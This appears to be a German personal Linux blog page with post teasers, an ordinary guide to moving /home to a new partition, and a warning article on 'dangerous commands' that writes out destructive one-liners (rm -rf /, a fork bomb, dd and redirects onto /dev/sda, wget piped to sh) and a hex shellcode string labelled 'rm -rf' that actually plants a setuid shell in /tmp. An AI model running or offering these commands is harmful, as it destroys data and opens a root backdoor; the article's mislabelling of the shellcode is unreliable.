Script: In­stal­lier­te Pro­gram­me als Lis­te

Um eine Über­sicht mei­ner in­stal­lier­ten Pro­gram­me zu er­hal­ten, habe ich mir die­se Script ge­schrie­ben. Die­ses Bash-Script ist das ers­te, das ich ver­öf­fent­li­che.

In­halts­ver­zeich­nis

Script: In­stal­lier­te Pro­gram­me als Lis­te wei­ter­le­sen

SSD- und M.2‑SSD-Festplatten si­cher lö­schen mit “hd­parm”

Me­cha­ni­sche Fest­plat­ten wer­den mit dem Kom­man­do “wipe” si­cher ge­löscht. Doch bei SSD- und M.2‑SSD-Festplatten geht es we­sent­lich schnel­ler mit dem Kom­man­do “hd­parm”.

In­halts­ver­zeich­nis

SSD- und M.2‑SSD-Festplatten si­cher lö­schen mit “hd­parm” wei­ter­le­sen

Zu­griff von Li­nux auf Smart­pho­ne

An­dro­id ver­bin­den mit De­bi­an, die­se Pro­ze­dur habe ich er­folg­reich auf “Debian”-Testing zu ei­nem Smart­pho­ne mit “An­dro­id” Ver­si­on 6 an­wen­den kön­nen. Es wur­de der ge­sam­te Te­le­fon­spei­cher im Da­tei­ma­na­ger sicht­bar. Es müss­te dem­nach auch un­ter den ver­schie­de­nen Ubun­tus, Li­nux-Mint und alle wei­te­ren De­bi­an-Forks funk­tio­nie­ren.

In­halts­ver­zeich­nis

Zu­griff von Li­nux auf Smart­pho­ne wei­ter­le­sen

De­bi­an Net-In­stal­la­ti­on

Bei­spiel mit Res­sour­cen­scho­nung und Be­nut­zer­freund­lich­keit, denn bei­des muss sich nicht aus­schlie­ßen.

In­halts­ver­zeich­nis

  1.  Ein­lei­tung
  2. In­stal­la­ti­ons­vor­aus­set­zun­gen für De­bi­an mit XFCE4
  3. Down­load
  4. Hash-Prü­fung
  5. Da­ten­trä­ger er­stel­len
  6. Boot­me­di­um star­ten
  7. In­stal­la­ti­on
  8. Kon­fi­gu­ra­ti­on der Be­nut­zer­freund­lich­keit
  9. Fein­tu­ning
  10. An­hang Pro­gramm­über­sicht
  11. Nach­wort
De­bi­an Net-In­­stal­la­­ti­on wei­ter­le­sen

Ge­fähr­li­che Be­feh­le, Li­nux-Bom­­ben


In­halts­ver­zeich­nis

Vor­wort
1. rm
2. rm ‑rf in he­xa­de­zi­mal
3. Fork­bomb
4. Copy und Pas­te
5. De­vice Null
6. Ope­ra­to­ren
7. WGET
8. dd
9. Wei­te­re Be­feh­le
Fa­zit
Quel­len


Vor­wort

Vor­sicht, nur in vir­tu­el­len Ma­schi­nen tes­ten! Als Test­sys­tem hat­te ich ein Ubun­tu 16.04 in eine vir­tu­el­le Ma­schi­ne in­stal­liert und mehr­fach ko­piert.


1. rm

Die be­kann­tes­te Li­nux-Bom­be ist wohl “rm”, denn es wird oft ver­ges­sen den kom­plet­ten Pfad an­zu­ge­ben, auch wenn man in ei­nem Un­ter­ver­zeich­nis ist, denn die­ser Be­fehl geht über die Wur­zel. Und es ist auch hoch be­zahl­ten Ad­mins schon pas­siert.

sudo rm -rf /

Die­ser Be­fehl löscht ohne Nach­fra­ge re­kur­siv al­les ab Wur­zel­ver­zeich­nis. Al­les heißt, alle ein­ge­häng­te Lauf­wer­ke und auch alle Netz­lauf­wer­ke.
Funk­tio­niert tod­si­cher! Aber nicht un­ter dem Ubun­tu, dort wird eine War­nung aus­ge­ge­ben.
Ge­gen­maß­nah­me
Ein Fall­strick kann “safe-rm” sein. Es soll vor un­be­ab­sich­tig­ten lö­schen hel­fen. Wer sich aber dar­an ge­wöhnt und auf ei­nen anderen/neuen Rech­ner kein “safe-rm” in­stal­liert hat, dann ist “rm” ist sei­ner Ge­walt nicht zu brem­sen.
An­sons­ten hilft auch kein be­ten.
Quel­le
Wei­te­res in je­dem Li­nux-Hand­buch und je­der Unix-Be­fehls­re­fe­renz.


2. rm ‑rf in he­xa­de­zi­mal

Ist ge­nau­so schäd­lich:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Un­ter Ubun­tu müss­ten dazu die Pa­ke­te re­lease und bikes­hed in­stal­liert sein. Hat bei mir un­ter Ubun­tu nicht funk­tio­niert.


3. Fork­bomb

Rech­ner aus­las­ten mit Hin­ter­grund­ak­ti­vi­tät und da­mit die CPU mal rich­tig heiß wird und sich selbst aus­lö­tet.

:(){ :|:& };:

Funk­ti­on die de­fi­niert wird, hier “:()”, ruft sich selbst als Hin­ter­grund­ak­ti­vi­tät auf und über­gibt sich wie­der neu und so wei­ter, also eine ty­pi­sche Fork­bomb. Funk­tio­niert un­ter Ubun­tu. Bös­ar­tig, es wird am An­fang nicht gleich wahr­ge­nom­men und Sys­tem­mo­ni­to­re, wie “Con­ky”, zei­gen durch die 100% aus­ge­las­te­te CPU kei­ne Ver­än­de­run­gen an.
Ge­gen­maß­nah­me
Schutz gibt es, wenn die Da­tei “/etc/security/limits.conf” dem ent­spre­chend edi­tiert wird.


4. Copy und Pas­te

Das In­ter­net hilft bei vie­len Ge­le­gen­hei­ten, aber er­setzt nicht das ei­ge­ne Den­ken. Ko­pie­ren und Ein­fü­gen kann ge­fähr­lich sein. Hin­ter ei­ner harm­lo­sen Ein­ga­be wie

echo "Hallo Welt!"

kann man auch

rm -rf /

ver­ste­cken.
Ge­gen­maß­nah­me
Vor­sichts­hal­ber in ein Edi­tor ein­fü­gen, hilft aber auch nicht im­mer :-)


5. De­vice Null

Das Ge­rät Null ist tat­säch­lich ent­stan­den um Da­ten, die als un­wich­tig gel­ten, in das Nichts zu sen­den.
Doch fol­gen­de Be­fehls­zei­le löscht das ge­sam­te /home-Ver­zeich­nis des an­ge­mel­de­tem Be­nut­zers.

mv ~ /dev/null

In Ubun­tu ist da­für kei­ne Be­rech­ti­gung vor­han­den.
Ge­gen­maß­nah­me
Nach­den­ken, was soll eine Til­de, also das /home-Ver­zeich­nis, mit Null zu tun ha­ben!


6. Ope­ra­to­ren

Ger­ne nut­ze ich das Kom­man­do “ls > Verzeichnis.txt” um mir den In­halt ei­nes Ver­zeich­nis als Text­da­tei ab­zu­le­gen. Und bei Än­de­run­gen lege ich mit dem dop­pel­ten Ope­ran­den “ls » Verzeichnis.txt” in der sel­ben Da­tei am Ende nach.

ls > /dev/sda

Wird aber die­ser Be­fehl aus­ge­führt über­schreibt er die ge­nann­te Fest­plat­te mit sich selbst. Statt “ls” könn­te auch ein an­de­rer Be­fehl ge­nom­men wer­den, die Aus­wir­kung ist gleich, da hier der Ope­rand den Feh­ler aus­übt. In Ubun­tu ist da­für kei­ne Be­rech­ti­gung vor­han­den.
Ge­gen­maß­nah­me
Im­mer erst in ei­ner vir­tu­el­len Ma­schi­ne sol­che Kom­man­dos prü­fen.


7. WGET

Ist die­sel­be Be­quem­lich­keit wie ko­pie­ren und ein­fü­gen. Ein Script wird im Netz zur Ver­fü­gung ge­stellt und nun kann man es ein­fach durch die Shell aus­füh­ren, mit Ver­hin­de­rung von wich­ti­gen In­for­ma­tio­nen.

wget http://webseite.com -q | sh

Nur, ob die Be­schrei­bung des Skrip­tes mit dem tat­säch­li­chem In­halt über­ein­stimmt, ist hier nicht plau­si­bel er­wie­sen.
Hat in mei­ner Ubun­tu-In­stal­la­ti­on nicht funk­tio­niert.
Ge­gen­maß­nah­me
Durch “quiet” ist es noch nicht mal mög­lich die Ge­fahr zu ban­nen, zum Bei­spiel mit “Strg+c”.


8. dd

Die­ses Kom­man­do ist zum Ko­pie­ren ge­dacht. Hier ist Miss­brauch mög­lich, um Da­ten­trä­ger zu über­schrei­ben.

dd if=/dev/urandom of=/dev/sda

An die­sem Bei­spiel wer­den Zu­falls­zah­len auf die ge­sam­te Fest­plat­te ge­schrie­ben und so­mit der vor­han­de­ne In­halt ge­löscht.
Ge­gen­maß­nah­me
Da hab ich es mit Nel­son -> “Haha”.


9. Wei­te­re Be­feh­le die vor­sich­tig an­ge­wen­det wer­den soll­ten.

Die nach­fol­gen­den Kom­man­dos habe ich nicht ge­tes­tet, er­schei­nen aber lo­gisch.

sudo chmod 000 -R /

Rech­te wer­den re­kur­siv ent­zo­gen oder kei­ne er­teilt wie man´s sieht. Da­ten blei­ben aber er­hal­ten.
Mit um­ask wä­ren si­cher­lich auch sol­che Spiel­chen mög­lich.

touch root
sudo chattr +i root

Da­tei mit +i un­ver­än­der­lich set­zen

sudo chattr -i root

At­tri­but wie­der ent­fer­nen


10. Fa­zit

Das sind wohl ei­ni­ge der be­kann­tes­ten Fall­gru­ben. Trotz­dem soll­te bei an­ge­bo­te­ner Hil­fe das ei­ge­ne Den­ken die ers­te Hür­de sein und ein ge­sun­des Maß an Miss­trau­en, ob an­de­re nicht auch Flüch­tig­keits­feh­ler ma­chen, wäre an­ge­bracht.


Quel­len

Li­nux-Hand­buch von Ko­f­ler, Gal­li­leo-Ver­lag
Unix-Be­fehls­re­fe­ren­zen im Netz
http://www.junauza.com/2008/11/7‑deadly-linux-commands.html
https://ppfeufer.de/lokale-linuxssicherheit-oder-wie-entschaerf-ich-die-bombe.html/
https://www.schnatterente.net/software/versteckter-schadcode-gefaehrliche-linux-howtos/2
https://www.heise.de/security/dienste/Copy-Paste-Tricks-1842691.html
https://de.wikipedia.org/wiki//dev/null
https://de.godaddy.com/blog/die-5-gefaehrlichsten-kommandos-in-der-linux-konsole/
https://wiki.ubuntuusers.de/wget/
http://www.linux-community.de/Internal/Nachrichten/Die-7-toedlichsten-Linux-Kommandos

Rol­ling Re­lease — mei­ne Er­fah­run­gen

Ist er schon wahr ge­wor­den oder sind da Hür­den?
Jah­re­lang ver­su­che ich ein Rol­ling Re­lease pro­duk­tiv zu nut­zen, aber es ge­lingt mir nicht ohne er­heb­li­che Auf­wen­dun­gen. Also war es eine bis­her er­folg­lo­se Su­che nach dem idea­lem Sys­tem.

Hier ein Er­fah­rungs­be­richt vom Ja­nu­ar 2018.

In­halts­ver­zeich­nis

Rol­ling Re­lease — mei­ne Er­fah­run­gen wei­ter­le­sen

/home um­zie­hen oder Woh­nungs­wech­sel

Pro­blem
Die alte Par­ti­ti­on oder die alte Fest­plat­te ist zu klein ge­wor­den für die eig­nen Da­ten. Oder eine schnel­le ssd-Fest­plat­te soll jetzt das neue zu Hau­se wer­den.

Lö­sung
Um­zug des /home-Ver­zeich­nis auf eine zu­sätz­lich Par­ti­ti­on oder/und Fest­plat­te ohne Neu­in­stal­la­ti­on des be­stehen­den Sys­tem.


In­halts­ver­zeich­nis

Vor­wort
1. Vor­be­rei­tun­gen
2. In der Kon­so­le ar­bei­ten
3. Neue /home-Par­ti­ti­on ein­hän­gen
4. Da­tei­en vom al­ten /home in das neue /home-Ver­zeich­nis ko­pie­ren
5. Al­tes /home-Ver­zeich­nis lö­schen
6. Neu­es /home-Ver­zeich­nis zum boo­ten ein­tra­gen
7. re­boot
Quel­len


Vor­wort

Die­ser Ar­ti­kel gilt für Ubun­tu-De­ri­va­te, für an­de­re De­bi­an-ba­sie­ren­den Dis­tros sind teil­wei­se an­de­re Vor­ge­hens­wei­sen nö­tig, bei­spiels­wei­se statt sudo, dann su, wenn man selbst nicht als su­do­er ein­ge­tra­gen ist.
Zu be­ach­ten ist, dass hier alle Be­nut­zer von /home, au­ßer root, um­zie­hen.
Zu be­ach­ten sind au­ßer­dem alle Schräg­stri­che, An­füh­rungs­zei­chen und sons­ti­ge No­ti­fi­ka­tio­nen; wird ein Zei­chen zu viel oder zu we­nig ge­setzt, wird der Be­fehl nicht oder so­gar falsch aus­ge­führt, was bei­spiels­wei­se bei dem Be­fehl

rm

ver­hee­rend sein kann.


1. Vor­be­rei­tun­gen

1.1. Zu­erst den Spei­cher­platz
von /home er­mit­telt mit
Ter­mi­nal­ein­ga­be:

du -sh /home

Ter­mi­nal­aus­ga­be:

548G	/home

Eine gra­fi­sche Lö­sung wäre “gno­me-disk-uti­li­ty”.
1.2. Nun ein Back­up
für un­vor­her­ge­se­hen Er­eig­nis­se oder ge­plan­tes Wie­der­her­stel­len durch­füh­ren, das Pro­gramm „grsync“ wäre eine gra­fi­sche Lö­sung. Nicht die “ver­steck­ten” Da­tei­en und Ver­zeich­nis­se ver­ges­sen, die­se be­gin­nen mit ei­nem Punkt im Na­men.
1.3. Dann eine neue oder lee­re Par­ti­ti­on
, mit ge­wünsch­ter Grö­ße auf vor­han­de­ner oder zu­sätz­li­cher Fest­plat­te er­stel­len, das Pro­gramm „gpar­ted“ wäre eine gra­fi­sche Lö­sung. Die Grö­ße soll­te min­des­tens dem Spei­cher­platz der bis­he­ri­gen Spei­cher­grö­ße und zu­sätz­lich 20% sein, we­gen der tem­po­rä­ren Ver­zeich­nis­se.


2. In der Kon­so­le ar­bei­ten

2.1. Für ein feh­ler­frei­es Ar­bei­ten­wird jetzt die gra­fi­sche Ober­flä­che ver­las­sen mit ei­ner Tas­ten­kom­bi­na­ti­on.

Strg+Alt+F1 # bis F6

2.2. Log­in mit ei­ge­nem Be­nut­zer­na­men und dem da­zu­ge­hö­ri­gem Pass­wort.
2.3. Ad­mi­nis­tra­ti­ve root-Rech­te für die nach­fol­gen­den Be­feh­le ho­len und auf die obers­te Ebe­ne “/” ge­hen.

sudo -s
cd /

3. Neue /home-Par­ti­ti­on ein­hän­gen

3.1. Eine de­tail­rei­che Über­sicht der be­stehen­den Por­tio­nen und Fest­plat­ten ho­len.

fdsik -l

3.2. Die Be­zeich­nung der neu­en Par­ti­ti­on no­tie­ren, etwa wie folgt und hier im wei­te­rem als Bei­spiel ver­wen­det.

sda3

3.3. Nun ein tem­po­rä­ren Ver­zeich­nis er­stel­len.

mkdir /mnt/tmp

3.4. Die­se Ver­zeich­nis in der neu­en /home-Par­ti­ti­on moun­ten.

mount /dev/sda3 /mnt/tmp

4. Da­tei­en vom al­ten /home in das neue /home-Ver­zeich­nis ko­pie­ren

4.1. Ein ex­ak­tes ko­pie­ren mit Prü­fung

rsync -avx --progress /home/ /mnt/tmp

4.2. oder schnel­ler ko­pie­ren.

cp -avx /home/* /mnt/tmp

4.3. Die neue Par­ti­ti­on wird jetzt moun­ten.

mount /dev/sda3 /home

4.4. Die neue Par­ti­ti­on über­prü­fen.

du -sh /home; mount|grep /home

Die Aus­ga­be soll­te etwa so aus­se­hen.

548G	/home
dev/sda3 on /home type ext4 (rw)

5. al­tes /home-Ver­zeich­nis lö­schen

5.1. Ich gehe da­von aus, dass das Back­up er­stellt wur­de :-)
5.2. Nun das alte /home-Ver­zeich­nis un­moun­ten.

umount /home

5.3. jetzt kann es re­kur­siv ge­löscht wer­den.

rm -rf /home/*

6. neu­es /home-Ver­zeich­nis zum boo­ten ein­tra­gen

6.1. Die Iden­ti­fi­ka­ti­on der /home-Par­ti­ti­on er­mit­teln.

blkid

Hier eine bei­spiel­haf­te Aus­ga­be.

/dev/sda1: UUID="xxx-x … x-123" TYPE="ext4" PARTUUID="0815-01"
/dev/sda2: UUID="xxx-x … x-345" TYPE="ext4" PARTUUID="0815-02"
/dev/sda3: UUID="xxx-x … x-678" TYPE="ext4" PARTUUID="0815-03"

6.2. Nun die iden­ti­fi­zier­te Par­ti­ti­on­zu­sätz­lich in die Da­tei “/etc/fstab” am Ende ein­tra­gen mit Hil­fe ei­nes Kon­so­len­edi­tors wie „vi“, „vim“ oder „nano“ als be­nut­zer­freund­lichs­tem.

nano /etc/fstab

6.3. Der zu­sätz­li­che Bei­spiel­ein­trag sehe wie folgt aus.

# /dev/sda3 Die Raute zeigt diesen Text als hilfreichen Kommentar.
UUID=xxx-x … x-678  /home   ext4   defaults   0 2
Bitte eine Leerzeile am Ende belassen.

Spei­chern in “nano”, “O” ist ein Buch­sta­be.

Strg+O

Und “Nano” be­en­den.

Strg+X

7. re­boot

reboot

Quel­len

Pra­xis: Die­se An­lei­tung wur­de prak­tisch und mit Er­folg an­ge­wen­det.
In­spi­ra­ti­on: https://wiki.ubuntuusers.de/Home_umziehen/
Bild: Frank Ro­sen­ber­ger